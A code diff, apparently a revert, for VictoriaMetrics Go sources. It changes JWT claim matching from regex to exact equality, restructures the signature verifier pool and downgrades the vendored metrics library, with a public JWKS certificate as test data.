"n": "ktNw1FUwp2-kHs5nNi5ip11EbfXuhpfUyPoLbtJdEvZ5cVaGv3UMb4lW4cEmwPeCuuW4NFZAg_x4BP8px9bFMRUyuyE-tqm5-wst_VSjeaoVwBhZl3GinB7TOMj4t5U6p_7JcvpEN50hApsll511hHnOt9Eenskh_tcDReD1A9QTpAw09A-Cqh-LgSMHk3_fbJoW_Iy-xtsZUQ3iC5NrILX8ZbWgfJ8WLI-9-zXBLA_mc_HrV76gCFDE_KCQ7eYwhBZrSYZxuyE5sZ107Zjx6Tj_a1mACZ4M17TfwQhadvd9ex12sA1XvZfzgOrva8ZQ9bs1SAFXSXpxPttW3xQRmQ",
|
||||
"e": "AQAB",
|
||||
"x5c": [
|
||||
"MIIDCjCCAfKgAwIBAgIQXPfDq4JyVkx06NPyNi2KMDANBgkqhkiG9w0BAQsFADApMScwJQYDVQQDEx5MaXZlIElEIFNUUyBTaWduaW5nIFB1YmxpYyBLZXkwHhcNMjYwMjEwMTYzMDUxWhcNMzEwMjEwMTYzMDUxWjApMScwJQYDVQQDEx5MaXZlIElEIFNUUyBTaWduaW5nIFB1YmxpYyBLZXkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCS03DUVTCnb6Qezmc2LmKnXURt9e6Gl9TI+gtu0l0S9nlxVoa/dQxviVbhwSbA94K65bg0VkCD/HgE/ynH1sUxFTK7IT62qbn7Cy39VKN5qhXAGFmXcaKcHtM4yPi3lTqn/sly+kQ3nSECmyWXnXWEec630R6eySH+1wNF4PUD1BOkDDT0D4KqH4uBIweTf99smhb8jL7G2xlRDeILk2sgtfxltaB8nxYsj737NcEsD+Zz8etXvqAIUMT8oJDt5jCEFmtJhnG7ITmxnXTtmPHpOP9rWYAJngzXtN/BCFp29317HXawDVe9l/OA6u9rxlD1uzVIAVdJenE+21bfFBGZAgMBAAGjLjAsMB0GA1UdDgQWBBRpG3DOLNpVhLHLECM+WAhMISVoADALBgNVHQ8EBAMCAsQwDQYJKoZIhvcNAQELBQADggEBAGnFwRcKrJmmFSs+VxxUF+/hzlKs9inv/9wdvgp/5gklCNgftW1FSh5Z/wCXoFoeiIgwAHwTwH9y5zwDyYuewgfbYtOrHXhqpxhp4Wc9QlFe2tAjD9RQXsEuO3LxwEY0/FhFD4dpHeKyAN/cuuSy5Wvv51SsRcsPYPBjlSFhk9bYPCxmMs8j7QgWFf6GJXghgrGzmvEvqKilW3v9jKfet6hhTfUcbFXmDE2X7vZkJB6FvaRy8Velzw1UGwkF5lcwgDOE3qHjuSvREZ7wKCHpeXuIXWRPR7QYYEsK1NyAdGe7EwsG8bfjQ6MwKIUMjyviBS1NDBmgC4w1Qpgyl+Fg+/Y="
|
||||
],
|
||||
"cloud_instance_name": "microsoftonline.com",
|
||||
"issuer": "https://login.microsoftonline.com/9188040d-6c67-4c5b-b112-36a304b66dad/v2.0"
|
||||
}
|
||||
]
|
||||
}`)
|
||||
vp, err := ParseJWKs(raw)
|
||||
if err != nil {
|
||||
t.Fatalf("error parsing jwks keys: %v", err)
|
||||
}
|
||||
|
||||
// algo not set so vp.vs = len(jwks) * (len(rsaAlgs) + len(psAlgs))
|
||||
if len(vp.vs) != 48 {
|
||||
t.Fatalf("expected 48 keys, got %d", len(vp.vs))
|
||||
}
|
||||
|
||||
for _, v := range vp.vs {
|
||||
if _, ok := v.key.(*rsa.PublicKey); !ok {
|
||||
t.Fatalf("expected rsa key, got %T", v.key)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -6,7 +6,6 @@ import (
|
||||
"fmt"
|
||||
"math"
|
||||
"net/http"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -295,7 +294,7 @@ func (t *Token) matchClaim(c *Claim) bool {
|
||||
var gotV *fastjson.Value
|
||||
if c.nestedKeys[0] == "scope" {
|
||||
// special case, scope could be both string and []string
|
||||
return c.valueRe.MatchString(t.body.Scope)
|
||||
return c.value == t.body.Scope
|
||||
}
|
||||
keys := c.nestedKeys
|
||||
if keys[0] == "vm_access" && t.body.vmAccessClaimObject != nil {
|
||||
@@ -315,15 +314,15 @@ func (t *Token) matchClaim(c *Claim) bool {
|
||||
return false
|
||||
}
|
||||
if gotV.Type() == fastjson.TypeString {
|
||||
return c.valueRe.Match(gotV.GetStringBytes())
|
||||
return bytesutil.ToUnsafeString(gotV.GetStringBytes()) == c.value
|
||||
}
|
||||
bb := claimValuePool.Get()
|
||||
b := bb.B[:0]
|
||||
b = gotV.MarshalTo(b)
|
||||
bb.B = b
|
||||
match := c.valueRe.Match(b)
|
||||
equal := string(b) == c.value
|
||||
claimValuePool.Put(bb)
|
||||
return match
|
||||
return equal
|
||||
}
|
||||
|
||||
var claimValuePool bytesutil.ByteBufferPool
|
||||
@@ -345,33 +344,27 @@ func (t *Token) Reset() {
|
||||
|
||||
// VMAccessClaim represent JWT claim object
|
||||
type VMAccessClaim struct {
|
||||
// promql filters applied to each select query
|
||||
ExtraFilters []string `json:"extra_filters,omitempty"`
|
||||
|
||||
MetricsExtraFilters []string `json:"metrics_extra_filters,omitempty"`
|
||||
MetricsExtraLabels []string `json:"metrics_extra_labels,omitempty"`
|
||||
LogsExtraFilters []string `json:"logs_extra_filters,omitempty"`
|
||||
LogsExtraStreamFilters []string `json:"logs_extra_stream_filters,omitempty"`
|
||||
|
||||
Labels []string `json:"extra_labels,omitempty"`
|
||||
// labelsBuf holds allocated memory for Labels
|
||||
labelsBuf []byte
|
||||
Tenant TenantID `json:"tenant_id"`
|
||||
// role can be denied as 1 = read, 2 = write, 3 = read and write
|
||||
// 0 = unconfigured - read and write
|
||||
Mode int `json:"mode,omitempty"`
|
||||
|
||||
MetricsAccountID uint32 `json:"metrics_account_id,omitempty"`
|
||||
MetricsProjectID uint32 `json:"metrics_project_id,omitempty"`
|
||||
|
||||
LogsAccountID uint32 `json:"logs_account_id,omitempty"`
|
||||
LogsProjectID uint32 `json:"logs_project_id,omitempty"`
|
||||
|
||||
// Properties below are deprecated and retained only for compatibility with vmgateway, which is itself deprecated.
|
||||
|
||||
// promql filters applied to each select query
|
||||
// Deprecated
|
||||
ExtraFilters []string `json:"extra_filters,omitempty"`
|
||||
// Deprecated
|
||||
Tenant TenantID `json:"tenant_id"`
|
||||
// role can be denied as 1 = read, 2 = write, 3 = read and write
|
||||
// 0 = unconfigured - read and write
|
||||
// Deprecated
|
||||
Mode int `json:"mode,omitempty"`
|
||||
// Deprecated
|
||||
Labels []string `json:"extra_labels,omitempty"`
|
||||
// labelsBuf holds allocated memory for Labels
|
||||
// Deprecated
|
||||
labelsBuf []byte
|
||||
}
|
||||
|
||||
func (vac *VMAccessClaim) reset() {
|
||||
@@ -489,7 +482,6 @@ func (vac *VMAccessClaim) parseFrom(jv *fastjson.Value) error {
|
||||
}
|
||||
|
||||
// TenantID represents tenantID.
|
||||
// Deprecated
|
||||
type TenantID struct {
|
||||
ProjectID int32 `json:"project_id"`
|
||||
AccountID int32 `json:"account_id"`
|
||||
@@ -744,31 +736,27 @@ var decodeb64BufferPool bytesutil.ByteBufferPool
|
||||
// It supports dot-delimited nested key lookup within the token body JSON.
|
||||
type Claim struct {
|
||||
nestedKeys []string
|
||||
valueRe *regexp.Regexp
|
||||
value string
|
||||
}
|
||||
|
||||
// NewClaim constructs a JWT token claim from the given key and value regular expression.
|
||||
// NewClaim constructs a JWT token claim from the given key and value.
|
||||
// The key supports dot-delimited notation as a separator for nested key lookup.
|
||||
// To include a literal dot in a key segment, escape it with a backslash (e.g. "a\.b.c").
|
||||
//
|
||||
// For example, the key "audit.permissions.0" can be used to access a nested array element in:
|
||||
//
|
||||
// {"audit": {"permissions": [0, 1, 0]}}
|
||||
func NewClaim(key, value string) (*Claim, error) {
|
||||
func NewClaim(key, value string) *Claim {
|
||||
var nestedKeys []string
|
||||
if idx := strings.Index(key, "."); idx > 0 {
|
||||
nestedKeys = splitNestedClaimKey(key)
|
||||
} else {
|
||||
nestedKeys = []string{key}
|
||||
}
|
||||
valueRe, err := regexp.Compile(value)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("cannot parse value match re=%q: %w", value, err)
|
||||
}
|
||||
return &Claim{
|
||||
nestedKeys: nestedKeys,
|
||||
valueRe: valueRe,
|
||||
}, nil
|
||||
value: value,
|
||||
}
|
||||
}
|
||||
|
||||
// splitNestedClaimKey splits a dot-delimited claim key into individual path segments.
|
||||
|
||||
@@ -901,11 +901,7 @@ func TestTokenMatchClaims(t *testing.T) {
|
||||
f := func(tkn *Token, claims map[string]string, want bool) {
|
||||
parsedClaims := make([]*Claim, 0, len(claims))
|
||||
for k, v := range claims {
|
||||
c, err := NewClaim(k, v)
|
||||
if err != nil {
|
||||
t.Fatalf("BUG: incorrect claim, key=%q,value_re=%q: %s", k, v, err)
|
||||
}
|
||||
parsedClaims = append(parsedClaims, c)
|
||||
parsedClaims = append(parsedClaims, NewClaim(k, v))
|
||||
}
|
||||
t.Helper()
|
||||
got := tkn.MatchClaims(parsedClaims)
|
||||
@@ -1006,23 +1002,4 @@ func TestTokenMatchClaims(t *testing.T) {
|
||||
"dict\\.with_dot.key": "value",
|
||||
}
|
||||
f(&tokenObjectFields, claims, true)
|
||||
|
||||
// match re
|
||||
claims = map[string]string{
|
||||
"vm_access.tenant_id.project_id": "(1|3|5)",
|
||||
}
|
||||
f(&tokenObjectFields, claims, true)
|
||||
|
||||
// negative re
|
||||
claims = map[string]string{
|
||||
"vm_access.tenant_id.project_id": "[^1-5]",
|
||||
}
|
||||
f(&tokenObjectFields, claims, false)
|
||||
|
||||
// not match re
|
||||
claims = map[string]string{
|
||||
"vm_access.tenant_id.project_id": "(10|11)",
|
||||
}
|
||||
f(&tokenObjectFields, claims, false)
|
||||
|
||||
}
|
||||
|
||||
@@ -13,55 +13,39 @@ var (
|
||||
ErrSignatureAlgorithmNotSupported = fmt.Errorf("signature algorithm verification not supported, supported algorithms: RS256, RS384, RS512, PS256, PS384, PS512, ES256, ES384, ES512")
|
||||
)
|
||||
|
||||
var rsaAlgs = []string{"RS256", "RS384", "RS512"}
|
||||
var psAlgs = []string{"PS256", "PS384", "PS512"}
|
||||
|
||||
type verifier struct {
|
||||
Verifier
|
||||
|
||||
key any
|
||||
alg string
|
||||
kid string
|
||||
}
|
||||
|
||||
// VerifierPool is a pool of verifiers for different algorithms
|
||||
type VerifierPool struct {
|
||||
vs []*verifier
|
||||
|
||||
matchKid bool
|
||||
rsaVerifiers map[string][]Verifier
|
||||
psVerifiers map[string][]Verifier
|
||||
esVerifiers map[string][]Verifier
|
||||
}
|
||||
|
||||
// NewVerifierPool creates a new verifier pool for a set of keys
|
||||
func NewVerifierPool(keys []any) (*VerifierPool, error) {
|
||||
vs := make([]*verifier, 0, len(keys))
|
||||
rsaVerifiers := make(map[string][]Verifier)
|
||||
psVerifiers := make(map[string][]Verifier)
|
||||
esVerifiers := make(map[string][]Verifier)
|
||||
|
||||
rsaAlgs := []string{"RS256", "RS384", "RS512"}
|
||||
psAlgs := []string{"PS256", "PS384", "PS512"}
|
||||
|
||||
for _, key := range keys {
|
||||
switch k := key.(type) {
|
||||
case *rsa.PublicKey:
|
||||
for _, alg := range rsaAlgs {
|
||||
v, err := newVerifierRS(Algorithm(alg), k)
|
||||
verifier, err := newVerifierRS(Algorithm(alg), k)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create RSA verifier for algorithm %s: %w", alg, err)
|
||||
}
|
||||
vs = append(vs, &verifier{
|
||||
Verifier: v,
|
||||
|
||||
key: k,
|
||||
alg: alg,
|
||||
})
|
||||
rsaVerifiers[alg] = append(rsaVerifiers[alg], verifier)
|
||||
}
|
||||
|
||||
for _, alg := range psAlgs {
|
||||
v, err := newVerifierPS(Algorithm(alg), k)
|
||||
verifier, err := newVerifierPS(Algorithm(alg), k)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create RSA-PSS verifier for algorithm %s: %w", alg, err)
|
||||
}
|
||||
vs = append(vs, &verifier{
|
||||
Verifier: v,
|
||||
|
||||
key: k,
|
||||
alg: alg,
|
||||
})
|
||||
psVerifiers[alg] = append(psVerifiers[alg], verifier)
|
||||
}
|
||||
|
||||
case *ecdsa.PublicKey:
|
||||
@@ -70,51 +54,82 @@ func NewVerifierPool(keys []any) (*VerifierPool, error) {
|
||||
return nil, fmt.Errorf("failed to create ECDSA verifier: unsupported key")
|
||||
}
|
||||
|
||||
v, err := newVerifierES(alg, k)
|
||||
verifier, err := newVerifierES(alg, k)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create ES verifier for algorithm %s: %w", alg, err)
|
||||
}
|
||||
vs = append(vs, &verifier{
|
||||
Verifier: v,
|
||||
esVerifiers[string(alg)] = append(esVerifiers[string(alg)], verifier)
|
||||
|
||||
key: k,
|
||||
alg: string(alg),
|
||||
})
|
||||
default:
|
||||
return nil, fmt.Errorf("unknown key type: %T", key)
|
||||
}
|
||||
}
|
||||
|
||||
return &VerifierPool{
|
||||
vs: vs,
|
||||
rsaVerifiers: rsaVerifiers,
|
||||
psVerifiers: psVerifiers,
|
||||
esVerifiers: esVerifiers,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (vp *VerifierPool) getVerifiers(alg string) []Verifier {
|
||||
if len(alg) < 2 {
|
||||
return nil
|
||||
}
|
||||
|
||||
switch alg[:2] {
|
||||
case "RS":
|
||||
return vp.getRSVerifiers(alg)
|
||||
case "PS":
|
||||
return vp.getPSVerifiers(alg)
|
||||
case "ES":
|
||||
return vp.getESVerifiers(alg)
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// Verify verifies a token signature by using keys provided to verifier pool
|
||||
func (vp *VerifierPool) Verify(token *Token) error {
|
||||
if token.header.Alg == "" {
|
||||
verifiers := vp.getVerifiers(token.header.Alg)
|
||||
if verifiers == nil {
|
||||
return ErrSignatureAlgorithmNotSupported
|
||||
}
|
||||
for _, v := range vp.vs {
|
||||
if token.header.Alg != v.alg {
|
||||
continue
|
||||
}
|
||||
if vp.matchKid && token.header.Kid != "" {
|
||||
if token.header.Kid != v.kid {
|
||||
continue
|
||||
}
|
||||
|
||||
if err := v.Verify(token); err != nil {
|
||||
return ErrSignatureVerificationFailed
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
if err := v.Verify(token); err == nil {
|
||||
for _, verifier := range verifiers {
|
||||
err := verifier.Verify(token)
|
||||
if err == nil {
|
||||
// Token verified, returning success immediately
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
return ErrSignatureVerificationFailed
|
||||
}
|
||||
|
||||
func (vp *VerifierPool) getRSVerifiers(alg string) []Verifier {
|
||||
v, ok := vp.rsaVerifiers[alg]
|
||||
if ok {
|
||||
return v
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (vp *VerifierPool) getPSVerifiers(alg string) []Verifier {
|
||||
v, ok := vp.psVerifiers[alg]
|
||||
if ok {
|
||||
return v
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (vp *VerifierPool) getESVerifiers(alg string) []Verifier {
|
||||
v, ok := vp.esVerifiers[alg]
|
||||
if ok {
|
||||
return v
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -310,7 +310,7 @@ func (bsr *blockStreamReader) readIndexBlock() error {
|
||||
return fmt.Errorf("invalid IndexBlockOffset in metaindex row; got %d; want %d", bsr.mr.IndexBlockOffset, bsr.indexBlockOffset)
|
||||
}
|
||||
if bsr.mr.MinTimestamp < bsr.ph.MinTimestamp {
|
||||
return fmt.Errorf("invalid MinTimestamp in metaindex row; got %d; cannot be smaller than %d", bsr.mr.MinTimestamp, bsr.ph.MinTimestamp)
|
||||
return fmt.Errorf("invalid MinTimesamp in metaindex row; got %d; cannot be smaller than %d", bsr.mr.MinTimestamp, bsr.ph.MinTimestamp)
|
||||
}
|
||||
if bsr.mr.MaxTimestamp > bsr.ph.MaxTimestamp {
|
||||
return fmt.Errorf("invalid MaxTimestamp in metaindex row; got %d; cannot be bigger than %d", bsr.mr.MaxTimestamp, bsr.ph.MaxTimestamp)
|
||||
|
||||
@@ -216,7 +216,7 @@ func mustCreatePartition(timestamp int64, smallPartitionsPath, bigPartitionsPath
|
||||
|
||||
// Create parts.json file. Since we are creating a new partition, there
|
||||
// will be no parts, i.e. the smallPartsPath and bigPartPath dirs will be
|
||||
// empty. This is guaranteed by the code above: if either directory exists,
|
||||
// empty. This is guaranteed by the code above: if eirher directory exists,
|
||||
// there will be panic.
|
||||
mustWritePartNames(nil, nil, smallPartsPath)
|
||||
|
||||
|
||||
@@ -65,7 +65,7 @@ type Cache struct {
|
||||
func newWithAutoCleanup(maxBytes int) *fastcache.Cache {
|
||||
c := fastcache.New(maxBytes)
|
||||
|
||||
// Reset the cache after it is no longer reachable since the cache
|
||||
// Reset the cache after it is no longer reacheable since the cache
|
||||
// could remain in use at Set or Get methods after the rotation.
|
||||
runtime.SetFinalizer(c, func(c *fastcache.Cache) {
|
||||
c.Reset()
|
||||
|
||||
10
vendor/github.com/VictoriaMetrics/metrics/histogram.go
generated
vendored
@@ -266,13 +266,5 @@ func (h *Histogram) getSum() float64 {
|
||||
}
|
||||
|
||||
func (h *Histogram) metricType() string {
|
||||
// The Prometheus data model requires histogram metrics to expose "le" labels.
|
||||
// Some collectors, such as the OpenTelemetry (OTEL) Collector, strictly enforce
|
||||
// this data model and apply transformations based on the metric type.
|
||||
//
|
||||
// Because Prometheus metric types are strongly typed and we don't have control over it,
|
||||
// introducing a custom "vm_histogram" type is not possible.
|
||||
//
|
||||
// So it's better to use untyped metric type.
|
||||
return "untyped"
|
||||
return "histogram"
|
||||
}
|
||||
|
||||
23
vendor/github.com/VictoriaMetrics/metrics/metrics.go
generated
vendored
@@ -13,7 +13,6 @@
|
||||
package metrics
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"sort"
|
||||
@@ -43,11 +42,6 @@ func init() {
|
||||
var (
|
||||
registeredSets = make(map[*Set]struct{})
|
||||
registeredSetsLock sync.Mutex
|
||||
bufPool = sync.Pool{
|
||||
New: func() any {
|
||||
return bytes.NewBuffer(make([]byte, 0, 64*1024))
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
// RegisterSet registers the given set s for metrics export via global WritePrometheus() call.
|
||||
@@ -254,23 +248,6 @@ func WriteProcessMetrics(w io.Writer) {
|
||||
writePushMetrics(w)
|
||||
}
|
||||
|
||||
// WriteGoMetrics writes Go runtime metrics to w.
|
||||
// This includes runtime/metrics such as memory stats, GC stats, goroutine counts, etc.
|
||||
func WriteGoMetrics(w io.Writer) {
|
||||
writeGoMetrics(w)
|
||||
}
|
||||
|
||||
// WriteProcMetrics writes OS-level process metrics to w by reading
|
||||
// the /proc filesystem (CPU, memory, file descriptors, PSI, etc.).
|
||||
func WriteProcMetrics(w io.Writer) {
|
||||
writeProcessMetrics(w)
|
||||
}
|
||||
|
||||
// WritePushMetrics writes push-mode related metrics to w.
|
||||
func WritePushMetrics(w io.Writer) {
|
||||
writePushMetrics(w)
|
||||
}
|
||||
|
||||
// WriteFDMetrics writes `process_max_fds` and `process_open_fds` metrics to w.
|
||||
func WriteFDMetrics(w io.Writer) {
|
||||
writeFDMetrics(w)
|
||||
|
||||
9
vendor/github.com/VictoriaMetrics/metrics/set.go
generated
vendored
@@ -35,10 +35,7 @@ func NewSet() *Set {
|
||||
// WritePrometheus writes all the metrics from s to w in Prometheus format.
|
||||
func (s *Set) WritePrometheus(w io.Writer) {
|
||||
// Collect all the metrics in in-memory buffer in order to prevent from long locking due to slow w.
|
||||
bb := bufPool.Get().(*bytes.Buffer)
|
||||
bb.Reset()
|
||||
defer bufPool.Put(bb)
|
||||
|
||||
var bb bytes.Buffer
|
||||
lessFunc := func(i, j int) bool {
|
||||
// the sorting must be stable.
|
||||
// see edge cases why we can't simply do `s.a[i].name < s.a[j].name` here:
|
||||
@@ -80,7 +77,7 @@ func (s *Set) WritePrometheus(w io.Writer) {
|
||||
if !isMetadataEnabled() {
|
||||
// Call marshalTo without the global lock, since certain metric types such as Gauge
|
||||
// can call a callback, which, in turn, can try calling s.mu.Lock again.
|
||||
nm.metric.marshalTo(nm.name, bb)
|
||||
nm.metric.marshalTo(nm.name, &bb)
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -96,7 +93,7 @@ func (s *Set) WritePrometheus(w io.Writer) {
|
||||
if metricFamily != prevMetricFamily {
|
||||
// write metadata only once per metric family
|
||||
metricType := nm.metric.metricType()
|
||||
writeMetadata(bb, metricFamily, metricType)
|
||||
writeMetadata(&bb, metricFamily, metricType)
|
||||
prevMetricFamily = metricFamily
|
||||
}
|
||||
bb.Write(metricsWithMetadataBuf.Bytes())
|
||||
|
||||
2
vendor/modules.txt
vendored
@@ -142,7 +142,7 @@ github.com/VictoriaMetrics/easyproto
|
||||
# github.com/VictoriaMetrics/fastcache v1.13.3
|
||||
## explicit; go 1.24.0
|
||||
github.com/VictoriaMetrics/fastcache
|
||||
# github.com/VictoriaMetrics/metrics v1.42.0
|
||||
# github.com/VictoriaMetrics/metrics v1.41.2
|
||||
## explicit; go 1.24.0
|
||||
github.com/VictoriaMetrics/metrics
|
||||
# github.com/VictoriaMetrics/metricsql v0.85.0
|
||||
|
||||